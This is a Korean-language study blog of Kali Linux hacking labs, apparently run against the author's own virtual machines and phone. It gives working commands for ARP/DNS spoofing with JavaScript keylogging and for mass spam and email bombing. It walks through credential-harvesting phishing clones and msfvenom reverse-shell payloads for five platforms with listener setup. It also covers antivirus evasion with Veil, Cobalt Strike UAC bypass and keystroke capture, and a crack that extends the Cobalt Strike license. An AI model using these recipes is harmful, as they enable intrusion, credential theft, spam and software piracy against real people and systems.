dongs go

★nmap 보안 스캐너 사용

- 해커들은 주로 해킹을 위해 목표가 되는 서버의 정보를 수집(os종류, 버전, 운영 서비스 ,오픈된 서비스 포트)

★MITF 설치

git clone https://github.com/byt3bl33d3r/MITMf.git

git으로 소스를 가져와서 mitmf를 실행하면 실행이 안된다.

밑에 apt-get으로 따로 다 설치를 해주어야 된다.(의존성 설치)

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev

libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

설치가 끝나고

apt-get install git -> mitmf 폴더안에 있는 requirements.txt  pip install -r requirements.txt  (필요한 모듈)

다시 실행해봤지만 bdfactory 모듈이 없어서 다시 해야된다.

bdfactory경로에 git clone https://github.com/secretsquirrel/the-backdoor-factory.git

설치하고 다시 mitmf 를 실행하면 실행이 된다.

★메일 계정 해킹하기

-i = 인터페이스

--spoof = DNS스푸핑

--arp = ARP스푸핑

--hsts = ssL stript

gateway 공유기 주소 타겟 피해자

ARP스푸핑 = 공격은 MAC 주소 를 속여 RAN 상에서 통신 흐름을 왜곡시키는 공격 방법이다

mac = 근거리 통신망의 물리적 주소

이제 윈도우pc7으로 가서 인터넷을 접속한다.

아무 로그인창을 가서 로그인을하면 칼리리눅스에 키로거처럼 나오게 된다.

 --jskeylogger 옵션 추가

★웹사이트의 모든 이미지 거꾸로 만들기

--upsidedownternet - 거꾸로 나오게

거꾸로 나오는거 확인할수 있다.

--screen --interval 10  추가하면 10초에 한컷씩 저장.

사진이 저장된것을 볼수 있다.

★theharvester  : harvester은 수확기 수확용기계란 뜻으로 구글,Bing 링크등의 검색엔진을 이용해 대상 도메인에 대한 서브 도메인과 이메일, 호스트등에 관련된 정보를 목록화 할수 있다.

★터미널

theharvester 검색 도움말

오늘 실습에선 -d 와 -b 옵션만 사용할것이다.

-d 도메인 검색

-b 데이타 검색 엔진

gmail.com은 도메인 이름이다. 검색엔진은 구글 밑에 이메일들 발견

theharvester -d gmail.com -b yahoo 를 검색하면 조금 1개 가 나온다.

저 gmail.com이메일 들은 실제 사용자들이기 때문에 실습용으론 사용 할수 없다.

★setoolkit 실행

social-Engineering Attacks -> maxx mailer Attack(대량 이메일 공격) -> E-Mail Attack Mass Mailer

1 : 하나의 이메일 주소에 이메일 폭탄 보내기

2 : 여러사람들에게 스팸메일 보내기

바탕화면에 이메일파일 을만든다. 나는 내가 안쓰는 이메일을 적었다.

html 형식으로 보낼것인가 plain 텍스트형식으로 보낼것인가.

enter the body of the message는 내용쓰기.

스팸메일이 전송되었다.

★피싱사이트? - 사이트를 그대로 복제해 누군가가 그사이트에 로그인을하면 해커는 로그인 키로거를 캐낼수 있다.

★DNS Spoofing 이란

- 타겟의 DNS Query가 발생 하면 DNS Server보다 공격자가 먼저 응답하여 공격자가 의도한 IP를 넘겨준다.

- 잘못된 IP 주소로 웹 접속을 하도록 유도하는 공격이다

Query - 문의

★DNS - 네트워크에서 도메인이나 호스트 이름을 숫자로 된 IP 주소로 해석해주는 TCP/IP 네트워크 서비스이다.

★스니핑?

- 패킷을 훔쳐보는것.

ex) 도박장 게임참여 안하는분이 돌아다니면서 패를 보고 다니는것.

★스누핑?

- 패킷을 내것 처럼 감청( 매개되는 대화나 정보를 본인 모르게 청취하는 것 )하는 것.

- 염탐, 몰래 획득

ex) 도박장 에서 누군가의 패를 뺏는다. 좋은패인지 안좋은 패인지 관심은 없다.

★스푸핑?

- 속이기 라는 뜻.

- 악의적 네트워크 침입자가 웹사이트를 구성해 사용자들의 방문을 유도

- 네트워크에서 가짜인데 진짜인것으로 속여 원하는 정보를 가로채는 기법.

- MAC,IP주소,포트등을 속이기 대상으로 가능

★터미널

가짜 홈페이지를 만들어준다.

윈도우7에서 내아이피를 접속했더니 내가만든 사이트가 나왔다.

vi /etc/ettercap/etter.dns

etter.dns 설정해주기 3줄 주석처리 해주기

주석 위에 www.google.com    A    (자신 ip) 이런 방법과

* A (ip) 는 모든 주소에 적용하겠다.

Ettercap(etterfilter) : Ettercap으로 DoS 공격하기, 인터넷 불능!! + LAN구간 공격들이 모여있는 해킹 도구

DoS(Denial of Service attack) : 서비스 거부 공격, 해당 시스템의 리소스를 점유하거나 자원을 부족하게 만들어 정상적으로 사용하지 못하게 하는 공격.

안드로이드용 악성코드를 준비한다.

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 R > /root/바탕화면/android.apk

악성코드를 내 스마트폰에 옮겨준다.

여기서 느낀점은 피해자는 어플을 눌러줘야만 해커가 해킹을 시도한다는것이 문제점인거 같다.

내 핸드폰과 연결이 되었다.

session 연결 확인

session -i 1 내폰과 접속

폰을 키지도 않았는데 저절로 찍혔다.

dump_calllog 

- 통화 기록 을 볼수 있다.

geolocate

- 위치 추적

주소가 나오면 인터넷 주소창에다가 붙어넣기를 한다.

완전히 맞는 주소는 안나오지만 근접한 주소가 나오게 된다.

실습환경

윈도우7으로가서 파일을 암호화를 해준다.

fcrackzip 도움말

 -b : 무차별대입
 -D : 사전사용
 -c : 문자집합의 문자사용 a[a-z], A[A-Z], 1[0-9], ![!:$%&/()=?{[]}+*~#]
 -v : 자세히
 -p : 초기 암호/파일로 문자열을 사용
 -l : 비밀번호길이 Min-Max
 -u : 틀린 비밀번호 제거

암호된 파일을 칼리리눅스로 옮긴다.

-l 비밀번호 길이 최소1부터 최대 10

rdesktop 명령어는 원격제어용으로 쓰인다.

catapult - 투석기 (돌던지기) 악성코드 던지기

veil 실행후 28번 선택

lhost에만 비어있으므로 lhost만 설정해준다.

그다음 generate 실행

1번 선택

exe 실행파일이 만들어 졌으므로 윈도우pc에 옮겨준다.

handler rc파일 msfconsole로 실행해준다음 윈도우에 만든 악성코드 파일을 실행해준다.

상대방 접속된것을 확인할수 있고

sysinfo - 상대방 pc 정보 확인

screenshot으로 pc 화면 추출

새창을 연다음

rdesktop (상대방 ip)실행 원격제어 시작

상대방 pc 이름과 비번검색

칼리에서 네이버를 킨다음 윈도우7 에서 다시 확인하면 네이버가 켜져있는것 확인.

해킹이 안될때는 상대방pc는 계정 암호가 설정되어있어야하고 방화벽해제가 되있어야한다.

★veil-catapult

- 이 프로그램은 더이상 지원을하지 않아 실습을 못하게되었다.

★nmap 보안 스캐너 사용하기

- 해커들은 주로 해킹을 위해 목표가 되는 서버의 정보를 수집(os종류, 버전, 운영 서비스 ,오픈된 서비스 포트

서비스를 수행하고 있는 프로그램들의 버전 정보등을 미리 알고 있어야 해당 버전의 os및 각 프로그램들의 버그들과

매칭 시켜서 시스템에 침투.

-네트워크 스캔 시스템 보안툴

-해커한텐 유용

-정보수집툴

-상대가 어떤 서비스(포트)를 제공중인지

nmap -vv -O 192.168.0.5-10

-vv? nmap을 verbose모드로 만든다. nmap이 원격지 호스트에 보내는 정보, 원격지 호스트에서 응답하는 정보들을

자세히 알수 있다. -vv더많은 정보를 출력할수 있다.

-O os 버전

내 윈도우pc 포트번호를 확인할수 있다.

nmap -sP (ip)

-ping 스캔

비슷한 명령어는 nmap -sn (ip)

VM 환경 칼리 리눅스 아이피 확인

★많은 옵션들을 볼수있다 그중에가 가장 많이 사용 하는 옵션은

-p0 :    ICMP를 전송하지 않고, 실제로 네트웍과 연결돼 있는 지 검사.

ps는 nmap에서 이 정보가 정확하지 않을수도 있다고 써있다

-sP :    스텔스(stealth) 옵션, 방화벽이나 IDS에 발각되지 않게 패킷을 보낸다

-PT :    ICMP대신 TCP패킷을 사용. ACK를 보내여 RST패킷을 받길 기달린다

-sT :    완전한 TCP 연결을 맺는다.

syn패킷을 보내고 ack를 받으면 또 ack를 보내는 형식으로 맺어지면 포트스캔 가능

-sS :    TCP패킷의 syn패킷만 보낸다 half-open 연결

-O :     운영체제 버전을 추측할수있다. 이건 운영체제 버전을 안다는것은 가장 위험한 일이다.

운영체제 버전이 낮을수록 그 취약점은 이미 다 인터넷에 떠돌기 때문에

만일 스캔한 호스트가 운영체제가 버전이 낮다면 쉽게 뚫을수있을것이다. !!

-v :    자세한 정보를 출력

ICMP(internet control message protocol)- TCP/IP 기반의 통신망에서 전송 과정에 문제가 발생하면 라우터에 의해 ICMP 메시지가 자동으로 발생하여 패킷 송신 호스트에게 전달된다.

스텔스 - 스캔 공격을 탐지할 수 없도록 하는 은닉 스캔

IDS -  침입행위가 발생할 경우 이를 탐지, 적극 대응하기 위한 시스템이다

ACK - 데이터가 오차 없이 수신되었다라는 내용을 전달한다.

RST(reset packet) - 강제로 세션을 끊기 위한 Packet. 

syn - 정보 교환용 부호

half-open 절반 오픈

Fin - 정상적으로 세션 종료 요청

메타스폴로잇으로 만든 악성코드는 백신프로그램에 탐지가 된다.

veil라는 악성코드 만드는 프로그램은 우회를 해서 백신에 걸리지 않는다.

Veil-Evasion, Veil-Ordnance,Veil-Catapult,PowerTools,Veil-Pillage

★Veil-Evasion

- 바이러스 백신을 우회해 악성코드를 제작

★Veil-Ordnance

- 엠파이어 와 비슷

- 실행하여 간단한 과정을 통해 인코딩된 쉘코드를 생성

★Veil-Catapult

- 피해자의 악성코드를 배달할때

- 침투된 대상 시스템에 페이로드를 전달하고 실행

★Veil-Pillage

- 원하는 기능의 모듈을 선택하여 다양한 형태의 페이로드를 제작할 수 있다. 또한 공격하는 과정에서 다른 공격용 도구로 대체하거나 소스코드를 수정하여 연동이 가능하기 때문에 더욱 강력한 도구

Veil 설치

터미널창 git clone https://github.com/Veil-Framework/Veil.git

★Veil 다운하는게 많기도하고 칼리가 램이 부족해서인지 느려서 빠르게 만들어 볼거다.

터미널창

leafpad /etc/apt/sources.list 에 들어가서 밑에 소스 붙어넣기

deb http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib

setup 폴더에 들어가서 ./setup.sh -c 를 실행해 설치한다. 안하면 Veil이 작동을 안한다.

-c = clone veil framework repos

-u = update veil framework repos

설치를 다 완료한다.

Veil 파일에 ./Veil.py를 실행하고

main menu choice에 use Evasion 실행.

use 28 실행

set lhost (자신 아이피) 실행

generate 실행

rc파일 경로 저장한후 새터미널 msfconsole -r(경로) 파일 위치 실행

veil1.exe 가 백신우회된 악성코드다.

내가 만든 악성코드에 msfconsole로 접속한후 pc윈도우에서 veil1.exe 접속

메타스폴로잇으로 만든 악성코드 발견 감지

누가 들어왔는지 세션이 검색 되었다.

sessions -i 1

reboot 하면 상대 pc 재부팅.

악성코드를 만들려면 어떤 운영체제의 악성코드를 만들어야 되는지 알아야한다.

윈도우,자바,안드로이드,리눅스,애플

백도어 -  시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다

터미널

1. 내부 아이피 확인

2. msfvenom -l

- 모듈 유형을 나열

- payload, encorder, nop 등의 모듈 정보 확인

msfvenom - 메타스플로잇 독립 페이로드 생성기

메타스플로잇?- 오픈소스 도구, 공격 코드 보안 테스팅 등을 제공하는 일종의 체계

특징

- 공개된 공격 코드 정리/검증으로 시간 단축

- 여러 플랫폼에서 사용가능

- 취약점 빠르게 최신화

- 취약점에 대한 쉘코드 제공

메타스플로잇 용어

1. Exploit

- 공격자 또는 모의해킹 테스터가 서비스 내의 결함을 찾는데에 유익한 수단

- 일반적인 exploit은 버퍼 오버플로우, 웹 어플리케이션 취약점(SQL-Injection) 설정 에러등을 모두 포함.

버퍼 오버플로우??- 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다 

2. Payload

- 시스템 상에서 실행 되길 원하는 코드 , 프레임 워크에 의해 선택되고 처리되는 코드

-  웜, 바이러스, 트로이목마 같은 해로운 소프트웨어를 분석할 때 페이로드는 그 소프트웨어가 주는 피해를 뜻한다.

프레임 워크 -  정보시스템을 개발할 때 활용되는 개발 · 실행 · 테스트 · 운영 환경을 지원하는 소프트웨어이다

장점: 하나의 단일 도구 , 표준화된 명령줄 옵션, 속도 향상

 msfvenom -l

meterpreter???

-이명령어를 사용하여 타겟에 파일업로드, 관리자 패스워드, 백도어생성, 키로그, VNC Insert 많은일을 할수 있다.

osx/x86/shell_reverse_tcp

- 애플 pc 악성코드용

windows/meterpreter/reverse_tcp

android/meterpreter/reverse_tcp

linux/x86/meterpreter/reverse_tcp

java/meterpreter/reverse_tcp

-자바 관련 파일 악성코드용

msfvenom -p osx/x86/shell_reverse_tcp lhost=192.168.0.7 lport=1234 -f macho > /root/바탕화면/apple.macho

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 -f exe > /root/바탕화면/windows.exe

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 R > /root/바탕화면/android.apk

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 -f elf > /root/바탕화면/linux.elf

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 R > /root/바탕화면/java.jar

-p = payload

-f = 확장자

5개 악성파일이 만들어 진것을 볼수 있다.

저파일을 프로그램과 연결시켜주면 트로이목마가 되는것이다.

가상 윈도우7에 내가만든 윈도우OS를 보낸다 .

터미널창

msfconsole 실행

- 메타스폴로잇 실행

use exploit/multi/handler

set exitonsession false  -> 세션 백그라운드 설정

exploit -j  -> 서버를 시작  리스너

가상윈도우 에서 악성코드 실행하면 칼리에서 세션이 뜨는거 확인.

명령어 sessions 을 입력하면 어디에서 열렸는지 정보가 나온다.

sessions -i 1 을 입력하면 윈도우와 연결이 된다.

meterpreter이 나오게 되고 셧다운을 실행하면 그 상대 pc는 종료하게 된다.

키로거 - 상대방이 키보드를 입력하면 내화면에 보여주는것

사이트 클론 - 웹사이트를 똑같이 복사

setoolkit- 소셜 엔지니어 툴키트 칼리리눅스 도구

터미널창에 내부 아이피 알아낸 후 setoolkit 실행

1번 실행

2번 실행

3번 실행

Credential Harvester Attack 공격은 실제사이트와 유사한 phishing 사이트를 만들어 상대방의 아이디와 비밀번호를 탈취하는 기술이다.

Credential - 암호학적 개인 정보

Harvester - 수확

내부아이피 적은후 웹 복사할 주소 실행

상대방 pc에 내 아이피를 실행하면 페이스북 실행 확인. 로그인 실행

로그 파일은 /var/www/html 파일에 저절로 저장이 된다.

내부아이피 치고 웹복사 실행 그만 하고 싶을때 service apache2 stop

코볼트 스트라이크 - 원격제어 해킹

한국에서는 프로그램 설치를 못하게 사이트가 만들어 놓았다.

Ultrasurf - 한국 IP주소를 미국 IP로 바꿔주는 프로그램

다운받은 프로그램을 실행시킨다.

구글링 whatismyip 검색

내가 현재 사용하는 IP주소 에 대해 알려주는 웹사이트

내가 현재 사용하고있는 미국 IP주소.

ISP(internet service provider) 허리케인 회사.

-개인이나 기업에게 인터넷 접속 서비스

다시 코볼트스트라이크 웹에서 다운을 시도한다 하지만 요즘 바뀌어서 인증이 까다로워져서 포기다.

구글링 열심히 찾은 결과 다운파일을 찾아 시도한다.

터미널(코볼트스트라이크 위치 경로)

./teamserver (자신 아이피) (비밀번호설정)

새창 터미널 열은후

./cobaltstrike 실행

설정한 비밀번호 password에 입력.

그러면 창이 뜨는 것을 볼수 있다. 이제 시작해본다.

악성코드를 만들어본다

메뉴 Attacks->Packages->Windows Executable

설명 = 이 대화 상자는 Windows 실행 파일을 생성합니다.이 프로세스를 사용자 정의 할 수있는 코발트 스트라이크

Add를 누른다.

Name을 만들고 Port에 아무거나 적는다.

Generate를 눌러 악성코드.exe 저장경로를 설정한다.

내가만든 악성코드.exe 파일을 누가 눌르면 밑에 창 처럼 누가 접속했다고 나온다.

접속한 사람 오른쪽 마우스 클릭 interact 클릭 -> Access -> Bypass UAC 클릭

Bypass UAC = user account control 우회

Launch 클릭

1분정도 기달리면 세션이 더생기면서 원격 해킹할수 있게 된다.

상대방 pc 오른쪽 클릭 explore->File Browser 를 누르면 파일리스트 들이 나온다.

상대방 파일들을 다운로드 나 지울수도 있고 실행할수도 있게된다.

process list는 현재 실행중인 프로세스들을 확인가능

explorer.exe = 인터넷 브라우저

선택후 LogKeystrokes 클릭. Screenshot 클릭

스크린샷 = 설정해준 시간동안 스크린샷을 해주는것

메뉴 view -> keystroke 키고 screenshot을 켜준다.

상대방 pc 사진으로 볼수 있다.

상대방이 페이스북에 로그인할려고 한다.

상대방이 처음부터 무엇을 했는지 Keystroke에 정렬되서 나온다.

페이스북 아이디 패스워드 까지 다나오게 된다...ㄷㄷ

Explore->Desktop(VNC)   누르면  원격제어 할수있는 환경이 나온다.

저 아이콘을 누르면 상대방 마우스랑 내 마우스랑 겹치게 되면서 원격제어를 할수 있게 된다.

코볼트 라이센스 21일판 무제한판으로 늘리는법

코볼트 경로 터미널창

common파일->License.class

jad License.class

여기서 jad는

jad는 JAva Decompiler의 약자입니다.

말그대로 Java디컴파일을 해줍니다.

소스를 열어볼때 사용

vi License.jad

소스 밑으로내리면 21L에서 999999L늘린다.

mv License.jad License.java

이름변경

javac -classpath ../ License.java

자바 환경변수 설정

common에 있는 License.class파일을 코볼트.jar압축파일에 끌어 넣는다.

칼리 리눅스

-백트랙의 후속 버전으로써 해킹 및 정보 보안을 테스트 하기 위해 만들어진 리눅스 배포판.

-수많은 해킹 툴들이 준비 되어 있다.

-데비안 기반.

백트랙?- 정보보안 테스트 오픈소스 리눅스 배포판. 해킹과 관련된 도구와 설명서.

초간단

칼리 리눅스 한글로 설치시 한글 깨짐 해결방법

1. apt-get update

2. apt-get install fcitx-hangul

3. apt-get install fcitx-lib*

4. apt-get install fonts-nanum*

reboot

무엇인가 설치를 다한후 reboot을 하면 좋다.

한글 이 잘되는 거 확인 가능